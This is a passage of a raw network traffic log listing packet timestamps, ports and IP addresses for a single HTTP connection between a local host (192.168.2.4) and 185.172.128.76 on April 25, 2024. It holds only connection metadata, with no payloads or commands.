Apr 25, 2024 14:42:10.964142084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964154959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964188099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964210987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964221954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964248896 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964272976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964277029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964345932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964378119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964385986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964401007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964420080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964442015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964514017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964555025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964704037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964751005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964757919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964771986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964799881 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964813948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964845896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964889050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964909077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.964936018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964957952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.964993954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965631962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965672970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965679884 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.965687990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965714931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.965732098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965737104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.965759993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965797901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.965802908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965843916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.965848923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965888023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.965888023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965929031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.965954065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.965995073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968112946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968125105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968163967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968281984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968318939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968332052 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968357086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968357086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968396902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968517065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968564034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968576908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968617916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968652964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968698978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968755960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968801975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968827963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968843937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968864918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968874931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968888998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968903065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968907118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968916893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.968943119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968961954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.968990088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969003916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969043016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969063044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969103098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969105959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969130039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969146967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969166994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969209909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969223976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969252110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969266891 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969278097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969356060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969368935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969397068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969420910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969422102 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969455957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969496012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969521999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969558001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969578981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969619036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969644070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969656944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969667912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969687939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969691992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969715118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969736099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969741106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969753981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969790936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969806910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969820976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969846010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969871044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969892979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969904900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969940901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.969950914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969964027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.969990969 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970010996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970014095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970035076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970073938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970097065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970110893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970135927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970160961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970171928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970195055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970232964 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970237017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970273018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970276117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970285892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970312119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970326900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970338106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970407009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970453024 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970458031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970469952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970495939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970516920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970534086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970578909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970618963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970629930 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970642090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970669985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970691919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970698118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970737934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970777988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970787048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970801115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970827103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970844984 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970849037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970869064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970880032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:10.970909119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:10.970927954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.002269030 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.002285004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.002298117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.002310991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.002480030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.002480030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.011816025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.011873960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.011930943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.011944056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.011972904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.012034893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.012077093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.012095928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.012135983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.012173891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.012216091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.012305021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.012351036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.012681961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.012726068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.012727976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.012764931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.012897968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.012909889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.012947083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.012948036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.012996912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.013016939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.013027906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.013046026 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.013062954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.015424013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.015604973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.015655041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.015748024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.015760899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.015789986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.015795946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.015821934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.015827894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.015831947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.015866041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.015889883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.015928984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.015933037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.015974045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.015999079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016038895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016055107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016067982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016096115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016112089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016129971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016154051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016191959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016196012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016218901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016237974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016263008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016263962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016302109 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016325951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016365051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016395092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016407013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016433001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016448021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016458988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016483068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016521931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016535997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016577005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016577959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016617060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016642094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016680956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016705036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016716957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016745090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016762972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016784906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016818047 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016858101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016863108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016880989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016907930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016933918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.016933918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.016968966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017009974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.017090082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017102957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017129898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.017153978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.017216921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017278910 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017322063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.017343998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017383099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.017505884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017541885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017551899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.017582893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.017704010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017770052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.017816067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.018557072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019109964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019121885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019162893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019164085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019360065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019402027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019469976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019507885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019510031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019546986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019562960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019598961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019613981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019651890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019651890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019690037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019711018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019721985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019750118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019764900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019798040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019810915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019823074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019851923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019869089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019876003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019917011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019931078 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.019968033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.019984961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020024061 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020055056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020095110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020153046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020195007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020294905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020308018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020319939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020335913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020349979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020353079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020366907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020390987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020399094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020411015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020437956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020450115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020452976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020479918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020518064 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020531893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020543098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020572901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020643950 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020684958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020694971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020731926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020733118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020745039 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.020771027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020787001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.020808935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021085024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:11.021125078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:11.021128893 CEST	80	49731	185.172.128.76	192.168.2.4
